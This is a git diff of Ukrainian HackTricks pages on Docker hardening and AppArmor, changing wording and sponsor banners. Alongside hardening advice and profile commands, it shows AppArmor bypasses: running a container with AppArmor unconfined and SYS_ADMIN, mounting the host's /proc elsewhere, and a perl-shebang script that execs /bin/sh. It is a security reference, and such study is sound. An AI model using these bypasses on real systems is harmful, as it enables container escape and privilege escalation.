**Томи Docker** є безпечнішою альтернативою, рекомендованою для доступу до чутливої інформації. Їх можна використовувати як тимчасову файлову систему в пам'яті, що зменшує ризики, пов'язані з `docker inspect` та журналюванням. Однак користувачі з правами root та ті, у яких є доступ до `exec` в контейнері, все ще можуть отримати доступ до секретів.
|
||||
|
||||
**Секрети Docker** пропонують ще більш безпечний метод обробки чутливої інформації. Для випадків, коли секрети потрібні під час фази побудови образу, **BuildKit** пропонує ефективне рішення з підтримкою секретів на етапі побудови, покращуючи швидкість побудови та надаючи додаткові функції.
|
||||
|
||||
|
@ -341,36 +344,36 @@ file: ./my_secret_file.txt
|
|||
|
||||
### gVisor
|
||||
|
||||
**gVisor** - це ядро додатків, написане на Go, яке реалізує значну частину поверхні системи Linux. Воно включає рантайм [Open Container Initiative (OCI)](https://www.opencontainers.org) під назвою `runsc`, який забезпечує **ізоляційну межу між додатком та ядром хоста**. Рантайм `runsc` інтегрується з Docker та Kubernetes, що спрощує запуск контейнерів у пісочниці.
|
||||
**gVisor** - це ядро додатків, написане на мові Go, яке реалізує значну частину поверхні системи Linux. Воно включає рантайм [Open Container Initiative (OCI)](https://www.opencontainers.org) під назвою `runsc`, який забезпечує **ізоляційну межу між додатком та ядром хоста**. Рантайм `runsc` інтегрується з Docker та Kubernetes, що спрощує запуск контейнерів у пісочниці.
|
||||
|
||||
{% embed url="https://github.com/google/gvisor" %}
|
||||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** - це відкрита спільнота, яка працює над створенням безпечного рантайму контейнерів з легкими віртуальними машинами, які відчувають себе та працюють як контейнери, але забезпечують **сильнішу ізоляцію робочого навантаження за допомогою технології апаратної віртуалізації** як другого рівня захисту.
|
||||
**Kata Containers** - це відкрита спільнота, яка працює над побудовою безпечного рантайму контейнерів з легкими віртуальними машинами, які відчувають себе та працюють як контейнери, але забезпечують **сильнішу ізоляцію робочого навантаження за допомогою технології апаратної віртуалізації** як другого рівня захисту.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### Рекомендації по безпеці
|
||||
### Підсумкові поради
|
||||
|
||||
* **Не використовуйте прапорець `--privileged` або монтування** [**сокету Docker всередині контейнера**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Сокет Docker дозволяє створювати контейнери, тому це легкий спосіб отримати повний контроль над хостом, наприклад, запускаючи інший контейнер з прапорцем `--privileged`.
|
||||
* **Не використовуйте прапорець `--privileged` або монтування** [**сокету Docker всередині контейнера**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Сокет Docker дозволяє створювати контейнери, тому це легкий спосіб отримати повний контроль над хостом, наприклад, запустивши інший контейнер з прапорцем `--privileged`.
|
||||
* **Не запускайте як root всередині контейнера. Використовуйте** [**іншого користувача**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **та** [**простори імен користувачів**](https://docs.docker.com/engine/security/userns-remap/)**.** Root у контейнері такий самий, як на хості, якщо не перенаправлено за допомогою просторів імен користувачів. Він обмежується, в основному, Linux просторами імен, можливостями та cgroups.
|
||||
* [**Скиньте всі можливості**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) та включіть лише ті, які потрібні** (`--cap-add=...`). Багато робочих навантажень не потребують жодних можливостей, а їх додавання збільшує обсяг можливого нападу.
|
||||
* [**Використовуйте параметр безпеки “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) для запобігання процесам отримувати більше привілеїв, наприклад через suid бінарні файли.
|
||||
* [**Скиньте всі можливості**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) та активуйте лише ті, які потрібні** (`--cap-add=...`). Багато робочих навантажень не потребують жодних можливостей, а їх додавання збільшує обсяг можливого атаки.
|
||||
* [**Використовуйте параметр безпеки “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) для запобігання процесам отримання додаткових привілеїв, наприклад через suid-бінарники.
|
||||
* [**Обмежте ресурси, доступні контейнеру**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Обмеження ресурсів може захистити машину від атак на відмову в обслуговуванні.
|
||||
* **Налаштуйте** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(або SELinux)** профілі для обмеження дій та системних викликів, доступних для контейнера, до мінімуму, необхідного.
|
||||
* **Використовуйте** [**офіційні образи Docker**](https://docs.docker.com/docker-hub/official\_images/) **та вимагайте підписів** або створюйте власні на їх основі. Не успадковуйте або не використовуйте [заражені](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) образи. Також зберігайте кореневі ключі, пароль на безпековому місці. У Docker є плани керувати ключами за допомогою UCP.
|
||||
* **Регулярно** **перебудовуйте** свої образи, щоб **застосовувати патчі безпеки до хоста та образів.**
|
||||
* Розумно **керуйте своїми секретами**, щоб важко було зловмиснику отримати до них доступ.
|
||||
* Якщо ви **використовуєте демон Docker, використовуйте HTTPS** з аутентифікацією клієнта та сервера.
|
||||
* У своєму Dockerfile **використовуйте COPY замість ADD**. ADD автоматично розпаковує стиснуті файли та може копіювати файли з URL-адрес. COPY не має цих можливостей. Коли це можливо, уникайте використання ADD, щоб не бути вразливими до атак через віддалені URL-адреси та ZIP-файли.
|
||||
* Маєте **окремі контейнери для кожного мікросервісу**
|
||||
* **Не включайте ssh** всередині контейнера, можна використовувати “docker exec” для ssh до контейнера.
|
||||
* У своєму Dockerfile **використовуйте COPY замість ADD**. ADD автоматично розпаковує архівні файли та може копіювати файли з URL-адрес. COPY не має цих можливостей. Коли це можливо, уникайте використання ADD, щоб не бути вразливими до атак через віддалені URL-адреси та ZIP-файли.
|
||||
* Маєте **окремі контейнери для кожної мікро-служби**
|
||||
* **Не включайте ssh** всередині контейнера, “docker exec” може бути використаний для ssh до контейнера.
|
||||
* Маєте **менші** образи **контейнерів**
|
||||
|
||||
## Втеча з Docker / Підвищення привілеїв
|
||||
|
||||
Якщо ви **в контейнері Docker** або у вас є доступ до користувача в **групі docker**, ви можете спробувати **втечу та підвищення привілеїв**:
|
||||
Якщо ви **в контейнері Docker** або маєте доступ до користувача в **групі docker**, ви можете спробувати **втечу та підвищення привілеїв**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
|
@ -378,7 +381,7 @@ file: ./my_secret_file.txt
|
|||
|
||||
## Обхід аутентифікації Docker Plugin
|
||||
|
||||
Якщо у вас є доступ до сокету Docker або у вас є доступ до користувача в **групі docker, але ваші дії обмежуються плагіном аутентифікації Docker**, перевірте, чи можете ви **обійти його:**
|
||||
Якщо у вас є доступ до сокету Docker або у вас є доступ до користувача в **групі docker, але ваші дії обмежуються плагіном аутентифікації Docker**, перевірте, чи можете ви **його обійти:**
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -386,7 +389,7 @@ file: ./my_secret_file.txt
|
|||
|
||||
## Захист Docker
|
||||
|
||||
* Інструмент [**docker-bench-security**](https://github.com/docker/docker-bench-security) - це скрипт, який перевіряє десятки загальних найкращих практик щодо розгортання контейнерів Docker у виробництві. Тести автоматизовані та базуються на [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
* Інструмент [**docker-bench-security**](https://github.com/docker/docker-bench-security) - це скрипт, який перевіряє десятки загальних найкращих практик щодо розгортання контейнерів Docker у виробництві. Тести є автоматизованими і базуються на [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Вам потрібно запустити інструмент з хоста, на якому працює Docker, або з контейнера з достатніми привілеями. Дізнайтеся, **як запустити його в README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Посилання
|
||||
|
@ -405,21 +408,25 @@ file: ./my_secret_file.txt
|
|||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) для легкої побудови та **автоматизації робочих процесів** за допомогою найбільш розвинутих інструментів спільноти у світі.\
|
||||
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security), щоб легко створювати та **автоматизувати робочі процеси** за допомогою найбільш розвинутих інструментів спільноти у світі.\
|
||||
Отримайте доступ сьогодні:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,58 @@
|
|||
# AppArmor
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Школа взлому AWS для Червоної Команди (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Школа взлому GCP для Червоної Команди (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковик, який працює на **темному вебі** та пропонує **безкоштовні** функціональності для перевірки, чи були **компанія або її клієнти скомпрометовані** **шкідливими програмами-крадіями**.
|
||||
|
||||
Основною метою WhiteIntel є боротьба з захопленням облікових записів та атаками вимагання викупу, що виникають внаслідок шкідливих програм, які крадуть інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їхній двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Основна інформація
|
||||
|
||||
AppArmor - це **ядряне покращення, призначене для обмеження ресурсів, доступних програмам через профілі для кожної програми**, ефективно реалізуючи обов'язковий контроль доступу (MAC), пов'язуючи атрибути контролю доступу безпосередньо з програмами, а не з користувачами. Ця система працює шляхом **завантаження профілів в ядро**, зазвичай під час завантаження, і ці профілі визначають, до яких ресурсів може отримати доступ програма, таких як мережеві підключення, доступ до сокетів та дозволи на файли.
|
||||
AppArmor - це **покращення ядра, призначене для обмеження ресурсів, доступних програмам через профілі для кожної програми**, ефективно реалізуючи обов'язковий контроль доступу (MAC), пов'язуючи атрибути контролю доступу безпосередньо з програмами, а не з користувачами. Ця система працює шляхом **завантаження профілів в ядро**, зазвичай під час завантаження, і ці профілі визначають, до яких ресурсів може отримати доступ програма, таких як мережеві підключення, доступ до сокетів та дозволи на файли.
|
||||
|
||||
Існують два режими роботи для профілів AppArmor:
|
||||
|
||||
- **Режим виконання**: Цей режим активно застосовує політики, визначені в межах профілю, блокуючи дії, які порушують ці політики, та реєструючи будь-які спроби їх порушення через системи, такі як syslog або auditd.
|
||||
- **Режим скарг**: На відміну від режиму виконання, режим скарг не блокує дії, які суперечать політикам профілю. Замість цього він реєструє ці спроби як порушення політики без застосування обмежень.
|
||||
* **Режим виконання**: Цей режим активно застосовує політики, визначені в межах профілю, блокуючи дії, які порушують ці політики, та реєструючи будь-які спроби їх порушення через системи, такі як syslog або auditd.
|
||||
* **Режим скарг**: На відміну від режиму виконання, режим скарг не блокує дії, які суперечать політикам профілю. Замість цього він реєструє ці спроби як порушення політики без застосування обмежень.
|
||||
|
||||
### Компоненти AppArmor
|
||||
|
||||
- **Ядерний модуль**: Відповідальний за виконання політик.
|
||||
- **Політики**: Визначають правила та обмеження для поведінки програм та доступу до ресурсів.
|
||||
- **Парсер**: Завантажує політики в ядро для виконання або звітування.
|
||||
- **Утиліти**: Це програми режиму користувача, які надають інтерфейс для взаємодії та управління AppArmor.
|
||||
* **Модуль ядра**: Відповідає за виконання політик.
|
||||
* **Політики**: Визначають правила та обмеження для поведінки програм та доступу до ресурсів.
|
||||
* **Парсер**: Завантажує політики в ядро для виконання або звітування.
|
||||
* **Утиліти**: Це програми режиму користувача, які надають інтерфейс для взаємодії та управління AppArmor.
|
||||
|
||||
### Шляхи до профілів
|
||||
|
||||
Профілі AppArmor зазвичай зберігаються в _**/etc/apparmor.d/**_\
|
||||
За допомогою `sudo aa-status` ви зможете переглянути перелік виконуваних файлів, які обмежені якимось профілем. Якщо ви заміните символ "/" на крапку в шляху кожного вказаного виконуваного файлу, ви отримаєте назву профілю apparmor всередині зазначеної папки.
|
||||
За допомогою `sudo aa-status` ви зможете переглянути перелік виконуваних файлів, які обмежені яким-небудь профілем. Якщо ви заміните символ "/" на крапку у шляху кожного вказаного виконуваного файлу, ви отримаєте назву профілю apparmor всередині зазначеної папки.
|
||||
|
||||
Наприклад, **профіль apparmor** для _/usr/bin/man_ буде розташований в _/etc/apparmor.d/usr.bin.man_
|
||||
Наприклад, профіль **apparmor** для _/usr/bin/man_ буде розташований в _/etc/apparmor.d/usr.bin.man_.
|
||||
|
||||
### Команди
|
||||
```bash
|
||||
aa-status #check the current status
|
||||
aa-enforce #set profile to enforce mode (from disable or complain)
|
||||
|
@ -47,8 +64,8 @@ aa-mergeprof #used to merge the policies
|
|||
```
|
||||
## Створення профілю
|
||||
|
||||
* Для вказання впливового виконуваного файлу дозволяються **абсолютні шляхи та маски** (для глобального вибору файлів).
|
||||
* Для вказання доступу, який буде мати бінарний файл до **файлів**, можна використовувати наступні **контролі доступу**:
|
||||
* Для вказання затронутої виконувальної програми дозволяються **абсолютні шляхи та маски** (для глобального вибору файлів).
|
||||
* Для вказання доступу, який виконувальний файл матиме до **файлів**, можна використовувати наступні **контролі доступу**:
|
||||
* **r** (читання)
|
||||
* **w** (запис)
|
||||
* **m** (відображення пам'яті як виконуваний)
|
||||
|
@ -63,7 +80,7 @@ aa-mergeprof #used to merge the policies
|
|||
|
||||
### aa-genprof
|
||||
|
||||
Для початку створення профілю вам може допомогти **apparmor**. Можливо, **apparmor може перевірити дії, виконані бінарним файлом, а потім дозволити вам вирішити, які дії ви хочете дозволити або заборонити**.\
|
||||
Для початку створення профілю вам може допомогти **apparmor**. Можливо, **apparmor перевіряє дії, виконані виконувальною програмою, а потім дозволяє вам вирішити, які дії ви хочете дозволити або відмовити**.\
|
||||
Вам просто потрібно виконати:
|
||||
```bash
|
||||
sudo aa-genprof /path/to/binary
|
||||
|
@ -72,10 +89,10 @@ sudo aa-genprof /path/to/binary
|
|||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
Потім, у першій консолі натисніть "**s**", а потім у записаних діях вкажіть, чи хочете ви ігнорувати, дозволяти чи що завгодно. Коли закінчите, натисніть "**f**", і новий профіль буде створено в _/etc/apparmor.d/path.to.binary_
|
||||
Потім, у першій консолі натисніть "**s**", а потім у записаних діях вкажіть, чи хочете ви ігнорувати, дозволяти чи щось інше. Коли закінчите, натисніть "**f**", і новий профіль буде створено в _/etc/apparmor.d/path.to.binary_
|
||||
|
||||
{% hint style="info" %}
|
||||
Використовуючи стрілки, ви можете вибрати, що хочете дозволити/заборонити/що завгодно
|
||||
Використовуючи стрілки, ви можете вибрати, що хочете дозволити/заборонити/щось інше
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
@ -106,7 +123,7 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Зауважте, що за замовчуванням у створеному профілі нічого не дозволено, тому все відхилено. Вам потрібно додати рядки, наприклад, `/etc/passwd r,` щоб дозволити бінарний файл читати `/etc/passwd`, наприклад.
|
||||
Зауважте, що за замовчуванням у створеному профілі нічого не дозволено, тому все відхилено. Вам потрібно додати рядки, наприклад, `/etc/passwd r,` щоб дозволити бінарний читати `/etc/passwd`, наприклад.
|
||||
{% endhint %}
|
||||
|
||||
Потім ви можете **заставити** новий профіль застосовуватися за допомогою
|
||||
|
@ -120,7 +137,7 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
|||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
За допомогою стрілок ви можете вибрати, що ви хочете дозволити/заборонити/що завгодно
|
||||
За допомогою стрілок ви можете вибрати, що ви хочете дозволити/заборонити/чи ще щось
|
||||
{% endhint %}
|
||||
|
||||
### Керування профілем
|
||||
|
@ -190,7 +207,7 @@ docker-default
|
|||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
Зверніть увагу, що **apparmor навіть заблокує привілеї capabilities**, надані контейнеру за замовчуванням. Наприклад, він може **заблокувати дозвіл на запис всередині /proc, навіть якщо SYS\_ADMIN capability надано**, оскільки профіль apparmor docker за замовчуванням відмовляє в цьому доступі:
|
||||
Зауважте, що **apparmor навіть заблокує привілеї capabilities**, надані контейнеру за замовчуванням. Наприклад, він може **заблокувати дозвіл на запис всередині /proc навіть якщо SYS\_ADMIN capability надано**, оскільки за замовчуванням профіль apparmor docker відмовляє в цьому доступі:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
|
@ -200,16 +217,16 @@ sh: 1: cannot create /proc/stat: Permission denied
|
|||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
Зауважте, що за замовчуванням **AppArmor** також **забороняє контейнеру монтувати** теки зсередини навіть з можливістю SYS\_ADMIN.
|
||||
Зауважте, що за замовчуванням **AppArmor** також **заборонить контейнеру монтувати** теки зсередини навіть з можливістю SYS\_ADMIN.
|
||||
|
||||
Зауважте, що ви можете **додавати/видаляти** **можливості** до контейнера Docker (це все ще буде обмежено методами захисту, такими як **AppArmor** та **Seccomp**):
|
||||
Зверніть увагу, що ви можете **додавати/видаляти** **можливості** до контейнера Docker (це все ще буде обмежено методами захисту, такими як **AppArmor** та **Seccomp**):
|
||||
|
||||
* `--cap-add=SYS_ADMIN` додати можливість `SYS_ADMIN`
|
||||
* `--cap-add=ALL` додати всі можливості
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` відмовитися від усіх можливостей та додати лише `SYS_PTRACE`
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` відмінити всі можливості та додати лише `SYS_PTRACE`
|
||||
|
||||
{% hint style="info" %}
|
||||
Зазвичай, коли ви **виявляєте**, що у вас є **привілейована можливість** доступна **всередині** контейнера **docker**, **але** деяка частина **експлойту не працює**, це може бути через те, що **apparmor docker** його **забороняє**.
|
||||
Зазвичай, коли ви **виявляєте**, що у вас є **привілейована можливість** доступна **всередині** контейнера **docker**, **але** деяка частина **експлойту не працює**, це може бути через те, що **apparmor docker буде це запобігати**.
|
||||
{% endhint %}
|
||||
|
||||
### Приклад
|
||||
|
@ -220,7 +237,7 @@ docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-
|
|||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
Для активації профілю потрібно виконати наступне:
|
||||
Щоб активувати профіль, нам потрібно виконати наступне:
|
||||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
|
@ -234,7 +251,7 @@ mydocker
|
|||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### Обхід AppArmor Docker1
|
||||
### Обхід захисту Docker AppArmor1
|
||||
|
||||
Ви можете знайти, який **профіль apparmor використовується контейнером**, використовуючи:
|
||||
```bash
|
||||
|
@ -246,13 +263,13 @@ docker inspect 9d622d73a614 | grep lowpriv
|
|||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
### Обхід захисту AppArmor Docker
|
||||
### Обхід захисту Docker AppArmor
|
||||
|
||||
**AppArmor базується на шляхах**, це означає, що навіть якщо він може **захищати** файли всередині каталогу, наприклад **`/proc`**, якщо ви можете **налаштувати спосіб запуску контейнера**, ви можете **підмонтувати** каталог proc хоста всередині **`/host/proc`**, і він **більше не буде захищений AppArmor**.
|
||||
|
||||
### Обхід захисту AppArmor Shebang
|
||||
### Обхід AppArmor через Shebang
|
||||
|
||||
У [**цьому багу**](https://bugs.launchpad.net/apparmor/+bug/1911431) ви можете побачити приклад того, як **навіть якщо ви забороняєте perl запускатися з певними ресурсами**, якщо ви просто створите оболонку **зазначивши** у першому рядку **`#!/usr/bin/perl`**, і **виконаєте файл безпосередньо**, ви зможете виконати все, що завгодно. Наприклад:
|
||||
У [**цьому багу**](https://bugs.launchpad.net/apparmor/+bug/1911431) ви можете побачити приклад того, як **навіть якщо ви запобігаєте запуску perl з певними ресурсами**, якщо ви просто створите оболонку **вказуючи** у першому рядку **`#!/usr/bin/perl`**, і **виконаєте файл безпосередньо**, ви зможете виконати все, що завгодно. Наприклад:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
@ -262,16 +279,29 @@ exec "/bin/sh"' > /tmp/test.pl
|
|||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) - це пошуковий двигун, який працює на **темному вебі** і пропонує **безкоштовні** функціональні можливості для перевірки, чи були **компанія або її клієнти скомпрометовані** **викрадачами шкідливих програм**.
|
||||
|
||||
Основна мета WhiteIntel - боротьба з захопленням облікових записів та атаками вірусів-вимагачів, що виникають внаслідок шкідливих програм, які крадуть інформацію.
|
||||
|
||||
Ви можете перевірити їх веб-сайт та спробувати їх двигун **безкоштовно** за посиланням:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити свою **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
